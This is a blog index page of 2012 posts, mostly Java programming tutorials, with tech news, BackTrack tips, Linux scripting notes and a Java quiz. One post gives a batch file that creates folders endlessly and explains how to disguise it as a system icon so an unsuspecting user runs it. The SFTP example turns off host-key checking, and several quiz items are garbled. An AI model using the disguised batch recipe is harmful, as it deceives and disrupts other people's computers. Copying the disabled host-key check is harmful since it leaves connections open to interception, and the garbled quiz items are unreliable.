Posts which you will also like.

Tuesday, December 25, 2012

How to create SFTP connection using java ?



In this blog post we will learn how to create a secure FTP connection using java.SFTP is much more secure than its predecessor FTP since SFTP is based on SSH.
Here We will develop a SFTP client.Basically SFTP clients are programs that use SSH to access, manage, and transfer files. SFTP clients are functionally similar to FTP clients, but they use different protocols.
To create a SFTP connection to a server for file transfer or any other FTP operation we will use an open source library called JSCh. You can download this library from http://www.jcraft.com/
Add this library to your class path and start creating the program.
This example shows how to get a file from the server using SFTP.
package com.techy.rajeev;

import com.jcraft.jsch.*;

    /**
     * @param args
     */

    public class SFTPTest {
    public static void main(String args[]) {
        JSch jsch = new JSch();
        Session session = null;
        String username="";//Put your username here
        String password="";//Put your password here
        String host="";//Hostname
        String sourceFile="";//Path of file on the server
        String destFile="";//Path of local file
        try {
            session = jsch.getSession(username,host,22);
            session.setConfig("StrictHostKeyChecking", "no");
            session.setPassword(password);
            session.connect();

            Channel channel = session.openChannel("sftp");
            channel.connect();
            ChannelSftp sftpChannel = (ChannelSftp) channel;

            sftpChannel.get(sourceFile,destFile);
            sftpChannel.exit();
            session.disconnect();
        } catch (JSchException e) {
            e.printStackTrace(); 
        } catch (SftpException e) {
            e.printStackTrace();
        }
    }
Read More ->>

Monday, December 17, 2012

Java program to generate all possible sub string of a string


This simple java program generates all possible sub string of given string.You can replace string with StringBuilder or StringBuffer where performance is issue.
package com.techy.rajeev;

public class GenStr {

    /**
     * @param args
     */
    public static void genAllSubStr(String str){
        for(int i=0;i<str.length();i++){
            for(int j=i;j<str.length();j++){
                System.out.println(str.substring(i, j+1));
            }
        }
    }
    public static void main(String[] args) {
        genAllSubStr("abc");
    }

}


Output:

a
ab
abc
b
bc
c

Read More ->>

Tuesday, December 4, 2012

Java program to generate permutation of a string


This post is about generating permutation of a string using a java program.This program has a static method  genPerm() method which is used for generation of permutation of the string. genPerm() method is recursive and takes two string arguments and prints the permutations of the second string.
Source Code:
public class GeneratePerm {

    /**
     * @param args
     */
    public static void genPerm(String pString,String sb){
        if(pString.length()==3)
            System.out.println(pString);
        for(int i=0;i<sb.length();i++){
            genPerm(pString+sb.charAt(i),sb.replaceFirst(sb.charAt(i)+"",""));
        }
    }
    public static void main(String[] args) {
        String sb=new String("abc");
        genPerm("",sb);
    }

}

Output:
abc
acb
bac
bca
cab
cba

Read More ->>

Tuesday, October 2, 2012

How to create random folder creating virus?



In this blog post I will teach you how to create more than 5000 random folders in a minute but before this I want to warn you that I do not take any responsibility for causing harm to your or any other computer.This tutorial is just for informative purpose only Smile.


Techyrajeev.blogspot.com


For this we will use the help of bat files and simple dos commands.So follow the step by step procedure for creating random folder creating virus if you want to create one.

Step 1: Open the notepad or any other text editor

Step 2: Type the following things

@ECHO OFF
:LABEL
md %RANDOM%
GOTO LABEL

 
Explanation: This is very simple bat file which runs infinitely with the help of recursive(self) calling(GOTO LABEL) and between these calls we are creating empty directory using md(You can write any other command instead of md).


Step 3: Now save it with Computer.bat in your hard disk.


Step 4: Now send it’s shortcut to desktop and change it’s default icon to icon of the computer or anything you like e.g Internet Explorer but do not forget to change the name accordingly.
ComputerBat
Step 5: Now delete or hide the original one from desktop so that user of the system will click on the fake one.Njoy the magic of bat files Thumbs up.AfterComputer
Read More ->>

Saturday, September 29, 2012

BackTrack 5 R3 Unleashed



Great news for our hacker friends a new version of popular penetration testing tool BackTrack 5 R3 is released.
BackTrack 5 R3 will provide latest hacking tools and more stable penetration testing environment than its predecessor.BackTrack 5 R3 is built upon linux kernal 3.2.6 which has updated version of hacking tools and latest securities patches.

bt5-6

BackTrack main website has a nice tutorial on how to upgrade from BackTrack 5 R1 to BackTrack 5 R3.If you want to upgrade your BackTrack to latest one the you can do it from this link.
If you are new to BackTrack then you can download the latest BackTrack from here.
Read More ->>

Monday, September 24, 2012

Apple got $1 billion in 30 trucks full of 5 cents coins by Samsung !



After loosing the legal battle with Apple finally Samsung decided to pay the $ 1 billion fine charged by Apple for the infringement of the patents.Tim Cook(Apple’s CEO) got a call from Samsung CEO explaining that Samsung will pay $1 billion fine and perhaps he must have been eagerly waiting for that huge amount of money.


And finally they got the money with surprise.Money arrived in fully loaded 30 trucks filled with 5 cents coin Smile. When the trucks arrived at Apple’s office security personnel stopped the trucks on the gate assuming that trucks arrived at the wrong place but soon Tim cook got a call from Samsung CEO that this is your money and since the legal suit did not specify a single payment method so Samsung is entitled to pay the fine in this way.

SamsungVs apple
A total of 20 billion coins is a new headache to Apple executives as they will need to put in long hours counting all that huge sum of money, to check if it is really $ 1 billion or not.But problem further continues if suppose it is $ 1 billion then they may face problem in depositing that 20 billion 5 cents coins to a bank.


sam

Lee Kun-hee, Chairman of Samsung Electronics, told the media that Apple can use the coins to buy the refreshments at the little machine for life or melt the coins to make computers, that’s not their problem, Samsung already paid them and it is fulfilled by the law.
But Some sources says that this news is fake and this incident did not happen.People just spread the rumours nothing of this sort has happened.Let’s wait for more Winking smile.
Read More ->>

Saturday, September 22, 2012

Java Tutorial on GridBagLayout Manager


In this java tutorial we are going to discuss about GridBagLayout Manager.
GridBagLayout manager is one of the most powerful but complex layout manager in java.It is somewhat similar to GridLayout in the sense that it also arranged the components in the grid, but here component added can be of varying sizes i.e we can increase or decrease their size to occupy more than one row or column of the grid.
If suppose you are going to use this layout manager in your program then you first decide and draw the outline of GUI you need then proceed further.Life will be much easier(Really).
Most important parts of the GridBagLayout are GridBagConstraints .They specify the size and position, and many more constraints  of the each component. We will discuss about each GridBagConstraints fields.

gridx The column in which the component will be placed
gridy The row in which the component will be placed.
gridwidth The no of column the component occupies.
gridheight The no of rows the component occupies.
weightx The amount of extra space to allocate horizontally. The grid
slot can become wider when extra space is available.
weighty The amount of extra space to allocate vertically. The grid slot
can become taller when extra space is available.
anchor When component added is smaller than its area then we can use anchor to specify its position.Possible positions are NORTH, NORTHEAST, EAST, SOUTHEAST, SOUTH, SOUTHWEST, WEST,
NORTHWEST or CENTER
fill This basically tell how to resize the component when container area is bigger than it’s size.
We can have a single “GridBagConstraints” instance which is used for specifying the constraints of all the components or seperate “GridBagConstraints” for each of them.
But it is recommended to use seperate “GridBagConstraints” for each of the component added to the container using GridBagLayout Manager.
Now we will use the GridBagLayout in our sample program:


package com.techy.rajeev;

import java.awt.EventQueue;

public class GridBagLayoutTest {

    private JFrame frmTechyrajeev;
    private JTextField textField;
    private JTextField textField_1;

    /**
     * Launch the application.
     */
    public static void main(String[] args) {
        EventQueue.invokeLater(new Runnable() {
            public void run() {
                try {
                    GridBagLayoutTest window = new GridBagLayoutTest();
                    window.frmTechyrajeev.setVisible(true);
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        });
    }

    /**
     * Create the application.
     */
    public GridBagLayoutTest() {
        initialize();
    }

    /**
     * Initialize the contents of the frame.
     */
    private void initialize() {
        frmTechyrajeev = new JFrame();
        frmTechyrajeev.setTitle("techyrajeev");
        GridBagLayout gridBagLayout = new GridBagLayout();
        gridBagLayout.columnWidths = new int[]{0, 0, 0, 0, 0, 0};
        gridBagLayout.rowHeights = new int[]{0, 0, 0, 0, 0, 0, 0, 0};
        gridBagLayout.columnWeights = new double[]{1.0, 0.0, 1.0, 1.0, 0.0,
 Double.MIN_VALUE};
        gridBagLayout.rowWeights = new double[]{0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 1.0,
 Double.MIN_VALUE};
        frmTechyrajeev.getContentPane().setLayout(gridBagLayout);
        
        JLabel lblLoginForm = new JLabel("Login Form");
        GridBagConstraints gbc_lblLoginForm = new GridBagConstraints();
        gbc_lblLoginForm.insets = new Insets(5, 0, 5, 5);
        gbc_lblLoginForm.gridx = 2;
        gbc_lblLoginForm.gridy = 0;
        frmTechyrajeev.getContentPane().add(lblLoginForm, gbc_lblLoginForm);
        
        JLabel lblEnterUsername = new JLabel("Username:");
        GridBagConstraints gbc_lblEnterUsername = new GridBagConstraints();
        gbc_lblEnterUsername.anchor = GridBagConstraints.EAST;
        gbc_lblEnterUsername.insets = new Insets(0, 0, 5, 5);
        gbc_lblEnterUsername.gridx = 1;
        gbc_lblEnterUsername.gridy = 1;
        frmTechyrajeev.getContentPane().add(lblEnterUsername, gbc_lblEnterUsername);
        
        textField = new JTextField();
        GridBagConstraints gbc_textField = new GridBagConstraints();
        gbc_textField.insets = new Insets(0, 0, 5, 5);
        gbc_textField.fill = GridBagConstraints.HORIZONTAL;
        gbc_textField.gridx = 2;
        gbc_textField.gridy = 1;
        frmTechyrajeev.getContentPane().add(textField, gbc_textField);
        textField.setColumns(10);
        
        JLabel label = new JLabel("");
        GridBagConstraints gbc_label = new GridBagConstraints();
        gbc_label.insets = new Insets(0, 0, 5, 5);
        gbc_label.gridx = 1;
        gbc_label.gridy = 2;
        frmTechyrajeev.getContentPane().add(label, gbc_label);
        
        JLabel lblPassword = new JLabel("Password:");
        GridBagConstraints gbc_lblPassword = new GridBagConstraints();
        gbc_lblPassword.anchor = GridBagConstraints.EAST;
        gbc_lblPassword.insets = new Insets(0, 0, 5, 5);
        gbc_lblPassword.gridx = 1;
        gbc_lblPassword.gridy = 3;
        frmTechyrajeev.getContentPane().add(lblPassword, gbc_lblPassword);
        
        textField_1 = new JTextField();
        GridBagConstraints gbc_textField_1 = new GridBagConstraints();
        gbc_textField_1.insets = new Insets(0, 0, 5, 5);
        gbc_textField_1.fill = GridBagConstraints.HORIZONTAL;
        gbc_textField_1.gridx = 2;
        gbc_textField_1.gridy = 3;
        frmTechyrajeev.getContentPane().add(textField_1, gbc_textField_1);
        textField_1.setColumns(10);
        
        JButton btnLogin = new JButton("Login");
        GridBagConstraints gbc_btnLogin = new GridBagConstraints();
        gbc_btnLogin.insets = new Insets(0, 0, 5, 5);
        gbc_btnLogin.gridx = 2;
        gbc_btnLogin.gridy = 4;
        frmTechyrajeev.getContentPane().add(btnLogin, gbc_btnLogin);
        
        JTextArea txtrThisIsA = new JTextArea();
        txtrThisIsA.setText("This is a text area.");
        GridBagConstraints gbc_txtrThisIsA = new GridBagConstraints();
        gbc_txtrThisIsA.gridwidth = 5;
        gbc_txtrThisIsA.fill = GridBagConstraints.BOTH;
        gbc_txtrThisIsA.gridx = 0;
        gbc_txtrThisIsA.gridy = 6;
        frmTechyrajeev.getContentPane().add(txtrThisIsA, gbc_txtrThisIsA);
    }

}


GridBagLayout2


This is the grid view of rows and columns of the frame.As you can see it is very easy to divide the whole Gui into rows and columns on the paper and then proceed accordingly for the actual designing using GridBagLayout Manager.


Output of this GridBagLayout tutorial program is:


gridBagLayout
Read More ->>

Thursday, September 13, 2012

Java Tutorial on Anonymous Inner Class


An anonymous inner class is a very strange type of inner class.It can be created on the fly when needed and It can also be defined inside method argument!.
We will cover all the details about anonymous inner class in this blog post so continue reading.
As the name suggests anonymous inner classes do not have any name so how would you recognize a inner class? Anonymous inner classes are recognized by their parent’s type.Here parent could be either a class or interface.Basically anonymous inner class can be categorized into two types:
  • As a class providing implementation to a predefined interface.
  • As a class providing implementation to a predefined class or a abstract class
Now we will see both methods
Pointing up
class Test{
            public void doTesting(){
              System.out.println("Testing is on the way!");
             }
            }
public class InnerJ{
    Test t=new Test(){
            public void doTesting(){
                System.out.println("Testing completed!");
            }
        };//watch out for semicolon
}



Here what we are saying basically  is,that create a anonymous class(without any name) which is a subclass of type Test(extends Test) and declare a reference variable of type Test to hold that anonymous class object since at the same time we are instantiating that anonymous inner class(see the new key word in InnerJ).


Fingers crossed



//Now same thing with interface 
interface Test{ 
            void doTesting(); 
            } 
public class InnerJ{

//Beware this not instantiation of interface ! 
    Test t=new Test(){ 
            public void doTesting(){ 
                System.out.println("Testing completed!"); 
            } 
        };//watch out for semicolon 
}


here instead of saying extends we say implements and every thing is same.


Restrictions on anonymous inner class:



  • Anonymous inner classes can implement only one interface


  • Anonymous inner classes can either extends a class or implement an interface at a time

Read More ->>

Thursday, August 30, 2012

Java program to divide an image into multiple equal parts



In this post I am going to demonstrate how to divide an image into equal parts.Here I have used simple Java image api to manipulate the source image via techcresendo.com
In this java program for image dividing ,I have first divided the image into smaller equal size parts and placed them randomly on the buttons on the frame using Grid Layout .
Input Image:
img

This program can be used further to develop sliding game puzzle in java.
package com.techy.rajeev.divideImage;

import java.awt.EventQueue;
import java.awt.Image;

import javax.imageio.ImageIO;
import javax.swing.ImageIcon;
import javax.swing.JButton;
import javax.swing.JFrame;
import java.awt.GridLayout;
import java.awt.image.BufferedImage;
import java.io.IOException;
import java.net.URL;

public class MainWin {

    private JFrame frame;
    private JButton []jb=new JButton[9];
    /**
     * Launch the application.
     */
    public static void main(String[] args) {
        EventQueue.invokeLater(new Runnable() {
            public void run() {
                try {
                    MainWin window = new MainWin();
                    window.frame.setVisible(true);
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        });
    }

    /**
     * Create the application.
     */
    public MainWin() {
        try {
            initialize();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    /**
     * Initialize the contents of the frame.
     * @throws IOException 
     */
    private void initialize() throws IOException {
        frame = new JFrame();
        frame.setBounds(100, 100, 612, 519);
        setImage();
        frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
        frame.getContentPane().setLayout(new GridLayout(3, 3));
        for(int i=0;i<9;i++){
            frame.add(jb[i]);
        }
    }

    public void setImage() throws IOException{
        URL img=MainWin.class.getResource("/img/img.jpg");
        BufferedImage bimg=ImageIO.read(img);
        int w=bimg.getWidth();
        int h=bimg.getHeight();
        int count=0;
        for(int i=0;i<3;i++){
            for(int j=0;j<3;j++){
                BufferedImage wim=bimg.getSubimage(i*w/3,j*h/3, w/3, h/3);
                Image sc=wim.getScaledInstance(frame.getWidth()/3,


               frame.getHeight()/3, Image.SCALE_AREA_AVERAGING);
                setupImage(count++,sc);
            }
        }
    }

    private void setupImage(int i,Image wim) {
        jb[i]=new JButton(new ImageIcon(wim));
    }

}


Output:


imgdivide

Read More ->>

Tuesday, August 28, 2012

Extracting text from images




In this blog post we are going to discuss about the tools and api for extracting the text from the image.Some of these tools and apis are free and open source but some of them are not free but still you can send request to the company to get developer’s version for free.
Java OCR:
Java OCR is a simple and efficient java based open source library for image processing and optical character recognition.This library can also be used in the development of android based project.
265598
If you want to test it just click here to download it and give it a try.
Tesseract-OCR:
This is the one of the best optical character recognition open source library available .It was originally developed by HP Labs but now supported by Google.It is the one of the most accurate OCR engine. It can read wide variety of image formats and text read can be converted into different languages also.As of now It supports more than 40 languages and new languages are being implemented.
It is developed in c++ and if you are a java developer then don’t worry you may  be able find some JNI wrapper for it.
Tess4j is one of the available java JNI wrapper of tesseract-OCR.
There are some graphical front end already available.If you want  to check the functionality of Tesseract-OCR you can download gImageReader,VietOCR .Other than them there are many more GUI front end are available on the web.
blg
Asprise OCR for Java:  
Asprise Lab provides Asprise OCR SDK for development of OCR in java.It also provides the web based solution for optical character recongition.It enables us to equip our Java applications (Java applets, web applications, standard applications, J2EE enterprise applications) with optical character recognition (OCR) ability.
bc
But this SDK is not free, for commercial usage you need to buy the License.
Via - techcresendo.com
Read More ->>

Saturday, August 18, 2012

Java Tutorial:Sorting list using Comparator


In this java tutorial we are going to understand the sorting of a List with the help of Comparator interface.

So we will use sort(arrayToSort,Comparator) of Collections and Arrays to sort the list.Now we have to create a class which implements the comparator interface but before that we should have the class for which sorting is done.So lets create that first.

package com.techy.rajeev;

public class Employee{
    private String ename;
    private int eid;
    private double salary;

    public String getEname() {
        return ename;
    }

    public Employee(String ename, int eid, double salary) {
        super();
        this.ename = ename;
        this.eid = eid;
        this.salary = salary;
    }

    public void setEname(String ename) {
        this.ename = ename;
    }

    public int getEid() {
        return eid;
    }

    public void setEid(int eid) {
        this.eid = eid;
    }

    public double getSalary() {
        return salary;
    }

    public void setSalary(double salary) {
        this.salary = salary;
    }

    @Override
    public String toString() {
        return "Employee [ename=" + ename + ", eid=" + eid + ", salary="
                + salary + "]";
    }

}


Now lets create the Sorter class.


package com.techy.rajeev;

import java.util.Comparator;

public class SortByName implements Comparator<Employee> {

    @Override
    public int compare(Employee o1, Employee o2) {
        return o1.getEname().compareTo(o2.getEname());
    }

}


Now lets do the sorting


package com.techy.rajeev;

import java.util.*;

public class TestSorting {
    public static void main(String[] args) {
        ArrayList<Employee>al=new ArrayList<Employee>();
        al.add(new Employee("Anonymous",1,12345.00));
        al.add(new Employee("Hacker",2,32423));
        al.add(new Employee("Cba",3,23434));
        System.out.println("Before:"+al);
        SortByName sbn=new SortByName();
        Collections.sort(al,sbn);//passing the sorter to sort
        System.out.println("After:"+al);
        
    }

}

Output:

Before:[Employee [ename=Anonymous, eid=1, salary=12345.0], Employee [ename=Hacker, eid=2, salary=32423.0], Employee [ename=Cba, eid=3, salary=23434.0]]

After:[Employee [ename=Anonymous, eid=1, salary=12345.0], Employee [ename=Cba, eid=3, salary=23434.0], Employee [ename=Hacker, eid=2, salary=32423.0]]

Now I hope you know how to sort the list using comparator.Keep reading.Thumbs up
Read More ->>

JAVA Tutorial:Sorting list using comparator and comparable interface


In this Java Tutorial We are going to discuss about the ways in which we can do the sort the objects of our own classes using comparator and comparable interfaces.

Some times we come across scenarios in which we needs to sort a list of non primitive  object.Suppose you created a class Employee and now you want to sort the list of employees based on their salary or say based on their name or in tons of other parameter.
Java provides us a very simple and efficient way to do it ,using utility classes(inside util packages).
So we can take the help of methods of Collections or Arrays utility class.Now see the signature of the sort methods provided by these two classes to get to know about Comparable and Comparator interfaces.

1.Collections sort method:
  • void sort(List<T> list): This says that hey! pass me the List containing the objects to sort but ensure that objects must also tell me the attribute based on which sorting needs to be done.This condition can be fulfilled by implementing the interface Comparable and overriding its compareTo() method by the class whose objects we want to sort.Problem with this way of sorting is that we can sort using only one way since a class can implement a interface only one. 
  • void sort(List<T>list,Comparator<? super T> comp):This provides the solution to previous drawback.Just visualize what sort method says in this case.It says: I need the list of object to be sorted plus an implementation of Comparator interface.So we have to create an extra class which implements the Comparator interface and overrides the compare() method.You may ask what is the benefit of creating the extra class.Yes there is the benefit now we can do sorting based on multiple attributes(how?). I hope you got the answerSmile.Make sure to write import java.util.Comparator; to import Comparator.

2.Arrays sort method:
  • Arrays sort method supports only 2nd version i.e void sort(List<T>list,Comparator<? super T> comp) for objects.
  • It has lots of variations of sort methods for primitives.
Note: These sort methods are based on the merge sort algorithm.So if you need time and space complexity better than this you need to implement your own algorithm of sorting.
So lets proceed by creating our Employee class.In this example we will implement the Comparable interface.


package com.techy.rajeev;
public class Employee implements Comparable{
    private String ename;
    private int eid;
    private double salary;
    public Employee(String ename, int eid, double salary) {
        super();
        this.ename = ename;
        this.eid = eid;
        this.salary = salary;
    }
    public String getEname() { return ename; } 
    public void setEname(String ename) {
        this.ename = ename;
    }

    public int getEid() {
        return eid;
    }

    public void setEid(int eid) {
        this.eid = eid;
    }

    public double getSalary() {
        return salary;
    }
    public void setSalary(double salary) {
        this.salary = salary;
    }
    @Override
    public String toString() {
        return "Employee [ename=" + ename + ", eid=" + eid + ", salary="
                + salary + "]";
    }




@Override public int compareTo(Employee o) { //We are sorting based on the employee name return ename.compareTo(o.getEname()); } }



Now lets do the sorting and displaying it.

javapackage com.techy.rajeev;
import java.util.*;
public class TestSorting {
    public static void main(String[] args) {
        ArrayList<Employee>al=new ArrayList<Employee>();
        al.add(new Employee("Anonymous",1,12345.00));
        al.add(new Employee("Hacker",2,32423));
        al.add(new Employee("cba",3,23434));
        al.add(new Employee("ebc",4,32432));
        System.out.println("Before:"+al);
        Collections.sort(al);
        System.out.println("After:"+al);
        
    }

}


Output:


Before:[Employee [ename=Anonymous, eid=1, salary=12345.0], Employee [ename=Hacker, eid=2, salary=32423.0], Employee [ename=Cba, eid=3, salary=23434.0], Employee [ename=Ebc, eid=4, salary=32432.0]]

After:[Employee [ename=Anonymous, eid=1, salary=12345.0], Employee [ename=Cba, eid=3, salary=23434.0], Employee [ename=Ebc, eid=4, salary=32432.0], Employee [ename=Hacker, eid=2, salary=32423.0]]




This was the sorting using Comparable interface.Now you can try the sorting using Comparator or keep reading,I will provide the implementation in next Java Tutorial on using Comparator .
Read More ->>

Sunday, August 12, 2012

Demonoid shuts down !



One of the most popular Bitttorrent  tracker site Demonoid.com was shut down by Ukrainian authorities on August 6,2012 from the Ukraine's largest data center ColoCall after 9 years of its operation (launched in 2003).
demonoid-logo-techyrajeev

Ukrainian officials did that to show that they are taking U.S intellectual property rights very seriously.According to sources server was taken down by massive distributed denial of service(DDoS) attack.
In last few days site was inaccessible and was redirecting to some random sites.You might have noticed following error message:


Server too busy
The action you requested could not be completed because the server is too busy.
Please try again in a few minutes
Do not click reload - Use the following links
Clicking reload will get you this page again
Click here to return to the homepage or Click here to go back

In the past Demonoid frequently changed its location to avoid of being into too much focus.Also its registration were done through invitation or on some particular days of month.Demonoid’s current Alexa rank  was 986 (Aug,2012).It’s major earning source was through advertisements.
Demonoid_screenshot
Demonoid servers may have been shut down but ,it’s administrator has promised its users that Demonoid would be back very soon.Hope for the best Thumbs up.
Read More ->>

Friday, August 3, 2012

Passing Command Line Argument in Eclipse


Passing command line arguments in Eclipse is very easy.We will see step by step procedure to pass command line arguments to a java program using eclipse.

package com.techy.rajeev;

class BadFoodException extends Exception {

}
class Myexception{
    public static void checkfood(String food)throws BadFoodException{
        if(food.equals("Veg")){
            System.out.println("Good food :)");
        }else{
            throw new BadFoodException();
        }
    }
    public static void main(String args[]){
        for(String s: args){
            try {
                checkfood(s);
            } catch (BadFoodException e) {
                e.printStackTrace();
            }
        }
        System.out.println("survived");
    }
}


This is the java program for which we want to pass command line arguments.

Write this program in eclipse IDE and save it.

Now click on the small dropdown icon beside run icon as shown in image:

eclipse1

A drop down menu will appear.Now click on Run Configurations.


eclipse


Now a new window will appear.This window provide us the settings for the run time configurations of a program.


In this window click on the arguments tab and supply the arguments needed by your program separated via space as delimiter.


eclipse3

Thats it.

More on this at techcresendo.com
Read More ->>

Saturday, July 28, 2012

BackTrack 5 KDE startx problem fixed


While installing the BackTrack 5 KDE(64 bit) OS when you try to enter into GUI mode via typing startx you get a strange error message like this:

BackTrack
This is well known bug in BackTrack 5 KDE (64 bit version) and many user asked me about the solution of this bug.
This problem can be fixed by deleting the kcache files from the following directories:
  • /root/.kde/cache-bt
  • /root/.kde/cache-root
Since GUI is not available without the startx so you will have to use the commands to delete all kcache files in the above directories.So Type the following commands
# cd /root/.kde/
# find . -type f -iname "*.kcache" -delete
or
rm /root/.kde/cache-root/icon-cache.kcache
rm /root/.kde/cache-root/plasma_theme_Volatile.kcacherm /root/.kde/cache-bt/icon-cache.kcache
rm /root/.kde/cache-bt/plasma_theme_Volatile.kcache

As usual now type startx command.

Some people also found some alternatives to fix this problem you can also try these

  • Boot from live cd or use vmware to boot the backtrack
  • Wait till the screen to decide which mode to boot.
  • Press the TAB key. (This opens the grub options for the live boot)
  • Change the section with "text splash vga=791" to "text splash vga=791 i915.modeset=1".
  • Press the ENTER key.
  • Type startx and Wait for Gui to appear
bt5-6
More on this at techcresendo.com
Read More ->>

Wednesday, July 25, 2012

Java Tutorial:Difference Between equals and ==


Sometimes in our java code we find that equality comparison operators(equals() and ==) do not work as expected.But why is that happening so? We know how they works Smile.

Really?

Actually we don’t know in depth how they work.So in this java tutorial I am going to show how equals and == works and what is difference between them.So keep reading this java tutorial.

equals():

This method compares the actual content inside the object i.e two instances of a class having content with same meaning  e.g

Integer num1=new Integer(10);

Integer num2=new Integer(10);

so num1.equals(num2) is true as obvious.

==:

== compares the references i.e the reference which is referring to the actual object not the content inside the object.Then if two references referring to the same object then references will be same. e.g

Integer num1=new Integer(1000);

Integer num2=num1; Now num2 is also referring to 1000

so num1==num2 is true.

Suppose if we say Integer num2=new Integer(1000); Now a new Integer object is created on the heap and its reference is assigned to num2.

so num1==num2 is false.

Now guess the output of

Integer n1=10; Integer n2=10;

if(n1==n2)

System.out.println(“same object”);

else

System.out.println(“Diff.object”);

Output is: same object

Yes that’s true;behaviour of == changes when boxing involves.This strange behaviour happens because JVM create the literal pool same as (String constant pool) for following wrapper objects (which must have been created through boxing)

  • Boolean
  • Byte
  • Character range(\u0000 to \u007f)
  • Short
  • Integer range(-128 to 127)

So whenever you are creating such wrapper object then first it will be searched in it’s respective constant pool if it is found there it’s reference will be returned to new reference of wrapper object other wise it is created and stored in the pool.This strange thing happens just to save memory.

Read More ->>

Thursday, July 19, 2012

Creating and Running a Linux Script file


Scripting is very powerful feature of Linux.It helps the administrator of Linux to automate the daily routine task so it is recommended to learn scripting for Linux administrators.Shell scripts are much more like MS DOS batch file.Any way I am not making you a Linux admin but in any case if you learn the scripting you will feel its benefits by yourself.
In this blog post I will describe the various methods to run a Linux script file.
A Linux script file contains the scripting commands written in it and this file has “.sh” extension(not mandatory).We can run this file in four ways.I will discuss them one by one.
1.<shell name> <script-name>
bash myscript
or
ksh myscript
In this case a new shell(bash or korn for the above case) will be spawned from the previous parent shell and your script will in the child shell.
2. ./<script-name>
./myscript
In this case also a new shell is spawned but in this case first we will have to change the file permission of the script file to be executable using chmod command then we can run.
e.g chmod +x myscript or chmod 755 myscript
3.  . <script-name>
.myscript
In this case new shell will not be spawned neither we have to set the file permission for the script.
4. Self executable script file:
In this type of run we just give the name of script and it will run automatically i.e self executable.
but for this first line of your script should contain:



#!/bin/bash   (or path of any shell)


#!(path)



If you do not know the path of shells or the no of shells present in your system type:


cat /etc/shells


It will show the required information.


One more thing if you want to know whether new shell was created or not you can execute the


following command at terminal before executing a shell script and after executing the shell script:


echo $$


It will show the PID of the current shell.
Read More ->>

Saturday, June 23, 2012

Java Multiple Choice Questions(MCQ)


This post contains 20 multiple choice question (mcq) in java.Try to solve them for your practice......

1.Given: public class Mule { public static void main(String[] args) { boolean assert = true; if(assert) { System.out.println("assert is true"); } } } Which command-line invocations will compile? 
a.javac Mule.java
b.javac -source 1.3 Mule.java
c.javac -source 1.4 Mule.java
d.javac -source 1.5 Mule.java
2) Which exception is thrown by read() method of InputStream class
a.Exception
b.FileNotFoundException
c.IOException
d.None
3)Given: String test = "a1b2c3"; String[] tokens = test.split("\\d"); for(String s: tokens) System.out.print(s + " "); What is the result?
a.a b c
b.1 2 3
c.a1b2c3
d.a1 b2 c3
4)Given: public class Person { private name; public Person(String name) { this.name = name; } public int hashCode() { return 420; } } Which statement is true?
a.The time to find the value from HashMap with a Person key depends on the size of the map.
b.Deleting a Person key from a HashMap will delete all map entries for all keys of type Person.
c.Deleting a Person key from a HashMap will delete all map entries for all keys of type Person.
d.The time to determine whether a Person object is contained in a HashSet is constant and does NOT depend on the size of the map.
5)Given: abstract class C1 { public C1() { System.out.print(1); } } class C2 extends C1 { public C2() { System.out.print(2); } } class C3 extends C2 { public C3() { System.out.println(3); } } public class Ctest { public static void main(String[] a) { new C3(); } } What is the result?
a.3
b.23
c.32
d.123
6)Given: class One { public One foo() { return this; } } class Two extends One { public One foo() { return this; } } class Three extends Two { // insert method here } Which methods, inserted individually, correctly complete the Three class?
a.public void foo() {}
b.public int foo() { return 3; }
c.public Two foo() { return this; }
d.public Object foo() { return this; }
7)Which statements is true?
a.A final method in class X can be abstract if and only if X is abstract.
b.A protected method in class X can be overridden by any subclass of X.
c.A private static method can be called only within other static methods in class X.
d.A non-static public final method in class X can be overridden in any subclass of X.
8)Given: public interface Status { /* insert code here */ int MY_VALUE = 10; } Which three are valid on line
a.final
b.native
c.private
d.abstract
9)A team of programmers is involved in reviewing a proposed design for a new utility class. After some discussion, they realize that the current design allows other classes to access methods in the utility class that should be accessible only to methods within the utility class itself. What design issue has the team discovered?
a.Weak encapsulation
b.Strong encapsulation
c.High cohesion
d.Tight coupling
10)Which of the following strings can be used as mode strings for creating a RandomAccessFile object? 
a.“r”
b.“w”
c.“wr”
d.“0”
11)Given: public class TestOne { public static void main (String[] args) throws Exception { Thread.sleep(3000); System.out.println("sleep"); } } What is the result?
a.Compilation fails.
b.An exception is thrown at runtime.
c.The code executes normally and prints "sleep".
d.The code executes normally, but nothing is printed.
12)Given: class Mammal { } class Raccoon extends Mammal { Mammal m = new Mammal(); } class BabyRaccoon extends Mammal { } Which four statements are true?
a.Raccoon is-a Mammal.
b.BabyRaccoon has-a Mammal.
c.BabyRaccoon is-a Raccoon.
d.BabyRaccoon is-a BabyRaccoon.
13)Which of the following lines will not compile? byte b1=5, b2=3, b3; Short s=25; b2=s; b3=b1*b2;
a.Line 1only
b.Line 3 only
c.Line 4 only
d.Line 1 and 4 only
14)Given: class Nav{ public enum Direction { NORTH, SOUTH, EAST, WEST } } public class Sprite{ // insert code here } Which code,at "inserted code here", allows the Sprite class to compile?
a.Direction d = NORTH;
b.Nav.Direction d = NORTH;
c.Direction d = Direction.NORTH;
d.Nav.Direction d = Nav.Direction.NORTH;
15)Given: public static void main(String[] args) { Object obj = new int[] { 1, 2, 3 }; int[] someArray = (int[])obj; for (int i : someArray) System.out.print(i + " "); } What is the result?
a.1 2 3
b.Compilation fails because of an error
c.A ClassCastException is thrown at runtime.
d.none
16)Given: import java.util.*; public class SortOf { public static void main(String[] args) { public static void main(String[] args) { a.add(1); a.add(5); a.add(3); Collections.sort(a); a.add(2); Collections.reverse(a); System.out.println(a); } } What is the result?
a.[1, 2, 3, 5]
b.[2, 1, 3, 5]
c.[2, 5, 3, 1]
d.[5, 3, 2, 1]
17)Which two scenarios are NOT safe to replace a StringBuffer object with a StringBuilder object?
a.When using versions of Java technology earlier than 5.0.
b.When sharing a StringBuffer among multiple threads.
c.When using the java.io class StringBufferInputStream.
d.When you plan to reuse the StringBuffer to build more than one string.
18)Which of the following statements are true?
a.Unicode characters are all 16 bits
b.UTF characters are all 24 bits
c.Reader class is byte stream class
d.None
19)Which statements are reserved words in Java?
a.run
b.imports
c.default
d.implement
20)DataInputStream is
a.An abstract class defined in java.io
b.A class we can use to read primitive data type
c.An interface that defines methods to open files
